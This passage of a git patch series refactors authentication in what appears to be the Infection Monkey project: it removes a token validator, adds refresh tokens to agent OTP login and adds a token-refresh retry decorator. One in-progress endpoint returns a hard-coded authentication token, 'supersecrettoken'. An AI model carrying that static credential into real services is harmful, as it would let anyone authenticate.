IIslandEventQueue, user_datastore: UserDatastore, token_generator: TokenGenerator, - refresh_token_validator: TokenValidator, token_parser: TokenParser, ): self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue self._datastore = user_datastore self._token_generator = token_generator - self._refresh_token_validator = refresh_token_validator self._token_parser = token_parser def needs_registration(self) -> bool: @@ -64,7 +62,6 @@ def generate_new_token_pair(self, refresh_token: Token) -> Tuple[Token, Token]: return new_access_token, new_refresh_token def _get_refresh_token_owner(self, refresh_token: Token) -> User: - self._refresh_token_validator.validate_token(refresh_token) user_uniquifier = self._token_parser.parse(refresh_token).user_uniquifier user = self._datastore.find_user(fs_uniquifier=user_uniquifier) if not user: diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index b3df7a5b245..bd6a7e650b4 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -11,11 +11,7 @@ AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.setup import setup_authentication -from monkey_island.cc.services.authentication_service.token import ( - TokenGenerator, - TokenParser, - TokenValidator, -) +from monkey_island.cc.services.authentication_service.token import TokenGenerator, TokenParser from monkey_island.cc.services.authentication_service.user import User USERNAME = "user1" @@ -53,11 +49,6 @@ def mock_token_generator() -> TokenGenerator: return MagicMock(spec=TokenGenerator) -@pytest.fixture -def mock_token_validator() -> TokenValidator: - return MagicMock(spec=TokenValidator) - - @pytest.fixture def mock_token_parser() -> TokenParser: return MagicMock(spec=TokenParser) @@ -70,7 +61,6 @@ def authentication_facade( mock_island_event_queue: IIslandEventQueue, mock_user_datastore: UserDatastore, mock_token_generator: TokenGenerator, - mock_token_validator: TokenValidator, mock_token_parser: TokenParser, ) -> AuthenticationFacade: return AuthenticationFacade( @@ -78,7 +68,6 @@ def authentication_facade( mock_island_event_queue, mock_user_datastore, mock_token_generator, - mock_token_validator, mock_token_parser, ) From c08d71d0b59faab2ae132c709e5b2fe83517e28d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 10:51:46 -0400 Subject: [PATCH 1031/1338] Island: Remove disused TokenValidator --- .../authentication_service/token/__init__.py | 1 - .../token/token_validator.py | 18 ------- .../token/test_token_validator.py | 52 ------------------- 3 files changed, 71 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/authentication_service/token/token_validator.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py diff --git a/monkey/monkey_island/cc/services/authentication_service/token/__init__.py b/monkey/monkey_island/cc/services/authentication_service/token/__init__.py index fd2770cae7b..36f8d7cdfcc 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/__init__.py @@ -1,4 +1,3 @@ from .token_generator import TokenGenerator -from .token_validator import TokenValidator from .token_parser import TokenParser from .types import Token diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py b/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py deleted file mode 100644 index 86fa1944402..00000000000 --- a/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py +++ /dev/null @@ -1,18 +0,0 @@ -from flask_security import Security - -from .types import Token - - -class TokenValidator: - def __init__(self, security: Security, token_expiration: int): - self._token_serializer = security.remember_token_serializer - self._token_expiration = token_expiration # in seconds - - def validate_token(self, token: Token): - """ - Validates a token - :param token: A token to validate - :raises BadSignature: If the token is invalid - :raises SignatureExpired: If the token has expired - """ - self._token_serializer.loads(token, max_age=self._token_expiration) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py deleted file mode 100644 index 1e0be8e516f..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py +++ /dev/null @@ -1,52 +0,0 @@ -import pytest -from itsdangerous import BadData, SignatureExpired -from tests.unit_tests.monkey_island.cc.services.authentication_service.token.conftest import ( - build_app, -) - -from monkey_island.cc.services.authentication_service.token import TokenValidator -from monkey_island.cc.services.authentication_service.token.token_generator import TokenGenerator - - -def test_validate_token__valid(freezer): - token_expiration_timedelta = 1 * 60 # 1 minute - generation_time = "2020-01-01 00:00:00" - validation_time = "2020-01-01 00:00:30" - payload = "fake_user_id" - - app, _ = build_app() - token_generator = TokenGenerator(app.security) - freezer.move_to(generation_time) - token = token_generator.generate_token(payload) - token_validator = TokenValidator(app.security, token_expiration_timedelta) - freezer.move_to(validation_time) - - token_validator.validate_token(token) - - -def test_validate_refresh_token__expired(freezer): - token_expiration = 1 * 60 # 1 minute - generation_time = "2020-01-01 00:00:00" - validation_time = "2020-01-01 00:03:30" - payload = "fake_user_id" - - app, _ = build_app() - token_generator = TokenGenerator(app.security) - freezer.move_to(generation_time) - token = token_generator.generate_token(payload) - token_validator = TokenValidator(app.security, token_expiration) - freezer.move_to(validation_time) - - with pytest.raises(SignatureExpired): - token_validator.validate_token(token) - - -def test_validate_refresh_token__invalid(): - token_expiration = 1 * 60 # 1 minute - invalid_token = "invalid_token" - - app, _ = build_app() - token_validator = TokenValidator(app.security, token_expiration) - - with pytest.raises(BadData): - token_validator.validate_token(invalid_token) From e1259dee8a735b2642960a498d5648e97bdaf1e5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 10:55:24 -0400 Subject: [PATCH 1032/1338] Island: Decouple RefreshAuthenticationToken from itsdangerous --- .../flask_resources/refresh_authentication_token.py | 3 +-- .../test_refresh_authentication_token.py | 11 ++++++++--- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py index 2b0b927911b..473018e29df 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py @@ -2,7 +2,6 @@ from http import HTTPStatus from flask import make_response, request -from itsdangerous import BadSignature, SignatureExpired from monkey_island.cc.flask_utils import AbstractResource, responses from monkey_island.cc.services.authentication_service.token.token_parser import TokenValidationError @@ -43,7 +42,7 @@ def post(self): } } return response, HTTPStatus.OK - except (BadSignature, SignatureExpired, TokenValidationError): + except TokenValidationError: return make_response({}, HTTPStatus.UNAUTHORIZED) except Exception: return responses.make_response_to_invalid_request() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py index 98e32c0cb00..434324681f3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py @@ -1,7 +1,6 @@ from http import HTTPStatus import pytest -from itsdangerous import BadSignature, SignatureExpired from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, @@ -13,7 +12,11 @@ ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME, ) -from monkey_island.cc.services.authentication_service.token.token_parser import TokenValidationError +from monkey_island.cc.services.authentication_service.token.token_parser import ( + ExpiredTokenError, + InvalidTokenSignatureError, + TokenValidationError, +) REQUEST_AUTHENTICATION_TOKEN = "my_authentication_token" REQUEST_REFRESH_TOKEN = "my_refresh_token" @@ -58,7 +61,9 @@ def test_token__fails_if_refresh_token_is_invalid( assert response.status_code == HTTPStatus.BAD_REQUEST -@pytest.mark.parametrize("exception", [BadSignature, SignatureExpired, TokenValidationError]) +@pytest.mark.parametrize( + "exception", [TokenValidationError, InvalidTokenSignatureError, ExpiredTokenError] +) def test_token__fails_refresh_token( exception, request_token, mock_authentication_facade: AuthenticationFacade ): From d306017e556c392173a68d03bb287f8a17b41acd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 11:03:45 -0400 Subject: [PATCH 1033/1338] Island: Move token parsing responsibility within AuthenticationFacade --- .../authentication_facade.py | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 1f696ff68a2..3bcb7be497f 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -8,7 +8,7 @@ from monkey_island.cc.services.authentication_service.token.token_generator import TokenGenerator from . import AccountRole -from .token import Token, TokenParser +from .token import ParsedToken, Token, TokenParser from .user import User @@ -53,17 +53,19 @@ def generate_new_token_pair(self, refresh_token: Token) -> Tuple[Token, Token]: Generates a new access token and refresh, given a valid refresh token :param refresh_token: Refresh token - :raise Exception: If the refresh token is invalid + :raise TokenValidationError: If the refresh token is invalid or expired :return: Tuple of the new access token and refresh token """ - user = self._get_refresh_token_owner(refresh_token) + parsed_refresh_token = self._token_parser.parse(refresh_token) + user = self._get_refresh_token_owner(parsed_refresh_token) + new_access_token = user.get_auth_token() new_refresh_token = self._token_generator.generate_token(user.fs_uniquifier) + return new_access_token, new_refresh_token - def _get_refresh_token_owner(self, refresh_token: Token) -> User: - user_uniquifier = self._token_parser.parse(refresh_token).user_uniquifier - user = self._datastore.find_user(fs_uniquifier=user_uniquifier) + def _get_refresh_token_owner(self, refresh_token: ParsedToken) -> User: + user = self._datastore.find_user(fs_uniquifier=refresh_token.user_uniquifier) if not user: raise Exception("Invalid refresh token") return user From 0150492ae69c9b4e440566e3fbf42018914b9271 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 11:04:51 -0400 Subject: [PATCH 1034/1338] Island: Expose TokenValidationError from authentication_service.token --- .../flask_resources/refresh_authentication_token.py | 2 +- .../cc/services/authentication_service/token/__init__.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py index 473018e29df..6c11e6dca35 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py @@ -4,7 +4,7 @@ from flask import make_response, request from monkey_island.cc.flask_utils import AbstractResource, responses -from monkey_island.cc.services.authentication_service.token.token_parser import TokenValidationError +from monkey_island.cc.services.authentication_service.token import TokenValidationError from ..authentication_facade import AuthenticationFacade from .utils import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME diff --git a/monkey/monkey_island/cc/services/authentication_service/token/__init__.py b/monkey/monkey_island/cc/services/authentication_service/token/__init__.py index 36f8d7cdfcc..e8589034eac 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/__init__.py @@ -1,3 +1,3 @@ from .token_generator import TokenGenerator -from .token_parser import TokenParser +from .token_parser import TokenParser, ParsedToken, TokenValidationError from .types import Token From 88091d524611ee864cf0b833cf3a10916cf15b27 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 11:34:46 -0400 Subject: [PATCH 1035/1338] Island: Remove reference to nonexistant IncorrectCredentialsError --- .../cc/services/authentication_service/flask_resources/login.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py index 3d5404e5e8e..30b7bf75509 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py @@ -37,7 +37,6 @@ def post(self): returns an access token :return: Access token in the response body - :raises IncorrectCredentialsError: If credentials are invalid """ try: username, password = get_username_password_from_request(request) From a2ce7d30bdd999c6daaa6f8c7637f4d6fd847ca3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 11:37:21 -0400 Subject: [PATCH 1036/1338] UT: Strengthen the assertion in __fails_if_token_invalid() --- .../test_authentication_service.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index bd6a7e650b4..cd1475f5fae 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -11,7 +11,11 @@ AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.setup import setup_authentication -from monkey_island.cc.services.authentication_service.token import TokenGenerator, TokenParser +from monkey_island.cc.services.authentication_service.token import ( + TokenGenerator, + TokenParser, + TokenValidationError, +) from monkey_island.cc.services.authentication_service.user import User USERNAME = "user1" @@ -157,9 +161,9 @@ def test_generate_new_token_pair__fails_if_token_invalid( user = User(username=USERNAME, password=PASSWORD, fs_uniquifier="a") user.save() refresh_token = authentication_facade.generate_refresh_token(user) - mock_token_parser.parse.side_effect = Exception() + mock_token_parser.parse.side_effect = TokenValidationError() - with pytest.raises(Exception): + with pytest.raises(TokenValidationError): authentication_facade.generate_new_token_pair(refresh_token) From 72c76c83af49e76ebea9f20ecc62e81e618b418a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 17:28:40 +0530 Subject: [PATCH 1037/1338] Agent: Fix weird formatting in log message in HTTPIslandAPIClient --- .../island_api_client/http_island_api_client.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 40fe3e8fec2..4577f6c8e37 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -69,7 +69,7 @@ def _get_authentication_token(self, otp: OTP) -> str: except Exception: # We need to catch all exceptions here because we don't want to leak the OTP raise IslandAPIAuthenticationError( - "HTTPIslandAPIClient failed to " "authenticate to the Island." + "HTTPIslandAPIClient failed to authenticate to the Island." ) def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: From 6ae32489856aecf120a220eb3919d442880236d2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 18:12:34 +0530 Subject: [PATCH 1038/1338] Agent: Update HTTPIslandAPIClient.login() to store refresh token --- .../island_api_client/http_island_api_client.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 4577f6c8e37..5855875e42a 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -2,7 +2,7 @@ import json import logging from pprint import pformat -from typing import Any, Dict, List, Sequence +from typing import Any, Dict, List, Sequence, Tuple import requests @@ -57,15 +57,20 @@ def __init__( self._http_client = http_client self._agent_id = agent_id + self._refresh_token = "" + @handle_response_parsing_errors def login(self, otp: OTP): - auth_token = self._get_authentication_token(otp) + auth_token, refresh_token = self._get_tokens(otp) + self._http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] = auth_token + self._refresh_token = refresh_token - def _get_authentication_token(self, otp: OTP) -> str: + def _get_tokens(self, otp: OTP) -> Tuple[str]: try: response = self._http_client.post("/agent-otp-login", {"otp": otp.get_secret_value()}) - return response.json()["token"] + response_json = response.json() + return response_json["authentication_token"], response_json["refresh_token"] except Exception: # We need to catch all exceptions here because we don't want to leak the OTP raise IslandAPIAuthenticationError( From a4d02c495caa27d46cd2a89a3b3bb6cbec9f8579 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 18:20:52 +0530 Subject: [PATCH 1039/1338] Agent: Modify POST '/api/agent-otp-login' to include refresh token in response --- .../flask_resources/agent_otp_login.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index c7d45ee2ebd..3585c1f713f 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -1,9 +1,12 @@ import json from flask import make_response, request +from flask_login import current_user from monkey_island.cc.flask_utils import AbstractResource, responses +from ..authentication_facade import AuthenticationFacade + class AgentOTPLogin(AbstractResource): """ @@ -14,9 +17,13 @@ class AgentOTPLogin(AbstractResource): urls = ["/api/agent-otp-login"] + def __init__(self, authentication_facade: AuthenticationFacade): + self._authentication_facade = authentication_facade + def post(self): """ - Gets the one-time password from the request, and returns an authentication token + Gets the one-time password from the request, + and returns an authentication token and a refresh token :return: Authentication token in the response body """ @@ -25,7 +32,12 @@ def post(self): cred_dict = json.loads(request.data) otp = cred_dict.get("otp", "") if self._validate_otp(otp): - return make_response({"token": "supersecrettoken"}) + response_data = {"authentication_token": "supersecrettoken"} + response_data["refresh_token"] = self._authentication_facade.generate_refresh_token( + current_user + ) + return make_response(response_data) + except Exception: pass From afc69f986be1a3246c7dfff95a0d6f8bd0506825 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 18:25:04 +0530 Subject: [PATCH 1040/1338] UT: Fix HTTPIslandAPIClient.login() tests --- .../test_http_island_api_client.py | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index 6dec3890326..e7a0060c612 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -109,10 +109,15 @@ def test_login__connection_error(): def test_login(): auth_token = "auth_token" + refresh_token = "refresh_token" + http_client_stub = MagicMock() http_client_stub.additional_headers = {} http_client_stub.post = MagicMock() - http_client_stub.post.return_value.json.return_value = {"token": auth_token} + http_client_stub.post.return_value.json.return_value = { + "authentication_token": auth_token, + "refresh_token": refresh_token, + } api_client = build_api_client(http_client_stub) api_client.login(OTP) @@ -132,10 +137,15 @@ def test_login__bad_response(): def test_login__does_not_overwrite_additional_headers(): auth_token = "auth_token" + refresh_token = "refresh_token" + http_client_stub = MagicMock() http_client_stub.additional_headers = {"Some-Header": "some value"} http_client_stub.post = MagicMock() - http_client_stub.post.return_value.json.return_value = {"token": auth_token} + http_client_stub.post.return_value.json.return_value = { + "authentication_token": auth_token, + "refresh_token": refresh_token, + } api_client = build_api_client(http_client_stub) api_client.login(OTP) From 3615e966df2b0714d217aa06eb0db85ecefa4e0f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 18:34:57 +0530 Subject: [PATCH 1041/1338] Agent: Add HTTPIslandAPIClient.refresh_tokens() --- .../island_api_client/http_island_api_client.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 5855875e42a..3748ab52a0f 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -77,6 +77,17 @@ def _get_tokens(self, otp: OTP) -> Tuple[str]: "HTTPIslandAPIClient failed to authenticate to the Island." ) + def refresh_tokens(self): + response = self._http_client.post("/token", {"refresh_token": self._refresh_token}) + tokens_in_response = response.json()["response"]["user"] + auth_token, refresh_token = ( + tokens_in_response["authentication_token"], + tokens_in_response["refresh_token"], + ) + + self._http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] = auth_token + self._refresh_token = refresh_token + def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: os_name = operating_system.value response = self._http_client.get(f"/agent-binaries/{os_name}") From 9764500b1296bf0ca8a35e81eef4f0eaca542595 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 18:45:01 +0530 Subject: [PATCH 1042/1338] Island: Update AgentOTPLogin POST to return response in same format as Login POST --- .../flask_resources/agent_otp_login.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 3585c1f713f..d160bec043f 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -6,6 +6,7 @@ from monkey_island.cc.flask_utils import AbstractResource, responses from ..authentication_facade import AuthenticationFacade +from .utils import add_refresh_token_to_response class AgentOTPLogin(AbstractResource): @@ -32,11 +33,14 @@ def post(self): cred_dict = json.loads(request.data) otp = cred_dict.get("otp", "") if self._validate_otp(otp): - response_data = {"authentication_token": "supersecrettoken"} - response_data["refresh_token"] = self._authentication_facade.generate_refresh_token( - current_user + refresh_token = self._authentication_facade.generate_refresh_token(current_user) + + response = make_response( + {"response": {"user": {"authentication_token": "supersecrettoken"}}} ) - return make_response(response_data) + response = add_refresh_token_to_response(response, refresh_token) + + return response except Exception: pass From 7a7d6d2668c00c3d8db7a5e0afbad15e38ded5ac Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 18:47:20 +0530 Subject: [PATCH 1043/1338] Island: Deduplicate code in HTTPIslandAPIClient --- .../http_island_api_client.py | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 3748ab52a0f..829dd43bb3f 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -2,9 +2,10 @@ import json import logging from pprint import pformat -from typing import Any, Dict, List, Sequence, Tuple +from typing import Any, Dict, List, Sequence import requests +from flask import Response from common import AgentHeartbeat, AgentRegistrationData, AgentSignals, OperatingSystem from common.agent_configuration import AgentConfiguration @@ -61,24 +62,16 @@ def __init__( @handle_response_parsing_errors def login(self, otp: OTP): - auth_token, refresh_token = self._get_tokens(otp) - - self._http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] = auth_token - self._refresh_token = refresh_token - - def _get_tokens(self, otp: OTP) -> Tuple[str]: try: response = self._http_client.post("/agent-otp-login", {"otp": otp.get_secret_value()}) - response_json = response.json() - return response_json["authentication_token"], response_json["refresh_token"] + self._update_tokens_from_response(response) except Exception: # We need to catch all exceptions here because we don't want to leak the OTP raise IslandAPIAuthenticationError( "HTTPIslandAPIClient failed to authenticate to the Island." ) - def refresh_tokens(self): - response = self._http_client.post("/token", {"refresh_token": self._refresh_token}) + def _update_tokens_from_response(self, response: Response): tokens_in_response = response.json()["response"]["user"] auth_token, refresh_token = ( tokens_in_response["authentication_token"], @@ -88,6 +81,10 @@ def refresh_tokens(self): self._http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] = auth_token self._refresh_token = refresh_token + def refresh_tokens(self): + response = self._http_client.post("/token", {"refresh_token": self._refresh_token}) + self._update_tokens_from_response(response) + def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: os_name = operating_system.value response = self._http_client.get(f"/agent-binaries/{os_name}") From 3c2393a8c336e267ff41be9cea256d3d56863d65 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 18:53:53 +0530 Subject: [PATCH 1044/1338] UT: Fix mocked response format in HTTPIslandAPIClient.login() tests --- .../test_http_island_api_client.py | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index e7a0060c612..1dca7bf63b2 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -115,8 +115,12 @@ def test_login(): http_client_stub.additional_headers = {} http_client_stub.post = MagicMock() http_client_stub.post.return_value.json.return_value = { - "authentication_token": auth_token, - "refresh_token": refresh_token, + "response": { + "user": { + "authentication_token": auth_token, + "refresh_token": refresh_token, + } + } } api_client = build_api_client(http_client_stub) @@ -143,8 +147,12 @@ def test_login__does_not_overwrite_additional_headers(): http_client_stub.additional_headers = {"Some-Header": "some value"} http_client_stub.post = MagicMock() http_client_stub.post.return_value.json.return_value = { - "authentication_token": auth_token, - "refresh_token": refresh_token, + "response": { + "user": { + "authentication_token": auth_token, + "refresh_token": refresh_token, + } + } } api_client = build_api_client(http_client_stub) From ed98a2e8b54392c953c3f913f55e0a8881af038e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 19:11:26 +0530 Subject: [PATCH 1045/1338] Agent: Create handle_authentication_token_expiration() decorator in http_island_api_client.py --- .../island_api_client/http_island_api_client.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 829dd43bb3f..ddd40eac445 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -41,6 +41,20 @@ def wrapper(*args, **kwargs): return wrapper +def handle_authentication_token_expiration(fn): + @functools.wraps(fn) + def wrapper(self, *args, **kwargs): + try: + return fn(self, *args, **kwargs) + except IslandAPIAuthenticationError: + # try again after refreshing tokens + # something else is wrong if this still doesn't work, let the issue be raised + self.refresh_tokens() + return fn(self, *args, **kwargs) + + return wrapper + + class HTTPIslandAPIClient(IIslandAPIClient): """ A client for the Island's HTTP API From d834005c381bcd1b21a755d3b3be7029dffe3499 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 19:23:42 +0530 Subject: [PATCH 1046/1338] Agent: Add decorators to functions is HTTPIslandAPIClient We're decorating functions with the @handle_authentication_token_expiration decorator first so that auth errors are caught before parsing errors are raised. --- .../island_api_client/http_island_api_client.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index ddd40eac445..02bfd0aea24 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -75,6 +75,7 @@ def __init__( self._refresh_token = "" @handle_response_parsing_errors + @handle_authentication_token_expiration def login(self, otp: OTP): try: response = self._http_client.post("/agent-otp-login", {"otp": otp.get_secret_value()}) @@ -95,21 +96,25 @@ def _update_tokens_from_response(self, response: Response): self._http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] = auth_token self._refresh_token = refresh_token + @handle_response_parsing_errors def refresh_tokens(self): response = self._http_client.post("/token", {"refresh_token": self._refresh_token}) self._update_tokens_from_response(response) + @handle_authentication_token_expiration def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: os_name = operating_system.value response = self._http_client.get(f"/agent-binaries/{os_name}") return response.content @handle_response_parsing_errors + @handle_authentication_token_expiration def get_otp(self) -> str: response = self._http_client.get("/agent-otp") return response.json()["otp"] @handle_response_parsing_errors + @handle_authentication_token_expiration def get_agent_plugin( self, operating_system: OperatingSystem, plugin_type: AgentPluginType, plugin_name: str ) -> AgentPlugin: @@ -120,6 +125,7 @@ def get_agent_plugin( return AgentPlugin(**response.json()) @handle_response_parsing_errors + @handle_authentication_token_expiration def get_agent_plugin_manifest( self, plugin_type: AgentPluginType, plugin_name: str ) -> AgentPluginManifest: @@ -130,6 +136,7 @@ def get_agent_plugin_manifest( return AgentPluginManifest(**response.json()) @handle_response_parsing_errors + @handle_authentication_token_expiration def get_agent_signals(self) -> AgentSignals: response = self._http_client.get( f"/agent-signals/{self._agent_id}", timeout=SHORT_REQUEST_TIMEOUT @@ -138,6 +145,7 @@ def get_agent_signals(self) -> AgentSignals: return AgentSignals(**response.json()) @handle_response_parsing_errors + @handle_authentication_token_expiration def get_agent_configuration_schema(self) -> Dict[str, Any]: response = self._http_client.get( "/agent-configuration-schema", timeout=SHORT_REQUEST_TIMEOUT @@ -147,6 +155,7 @@ def get_agent_configuration_schema(self) -> Dict[str, Any]: return schema @handle_response_parsing_errors + @handle_authentication_token_expiration def get_config(self) -> AgentConfiguration: response = self._http_client.get("/agent-configuration", timeout=SHORT_REQUEST_TIMEOUT) @@ -156,11 +165,13 @@ def get_config(self) -> AgentConfiguration: return AgentConfiguration(**config_dict) @handle_response_parsing_errors + @handle_authentication_token_expiration def get_credentials_for_propagation(self) -> Sequence[Credentials]: response = self._http_client.get("/propagation-credentials", timeout=SHORT_REQUEST_TIMEOUT) return [Credentials(**credentials) for credentials in 